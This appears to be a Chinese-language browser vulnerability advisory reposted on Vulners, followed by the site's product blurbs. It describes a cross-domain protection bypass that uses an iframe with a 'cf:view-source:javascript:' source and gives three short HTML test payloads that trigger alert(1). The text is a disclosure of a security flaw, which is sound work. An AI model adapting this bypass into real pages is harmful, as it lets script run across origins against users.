建立如下HTML文档并进行测试:
<iframe src="javascript:alert(1)></iframe>
=> 打开iframe并执行警告
(这是正确的)
<iframe src="cf:javascript:alert(1)></iframe>
上面不能成功执行, 不能限制警告(正确)
但如下情况存在一个缺陷=>
<iframe src="cf:view-source:javascript:alert(1)></iframe>
如上代码可在本地或远程安全上下文或通过地址栏执行,成功绕过跨域保护。
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation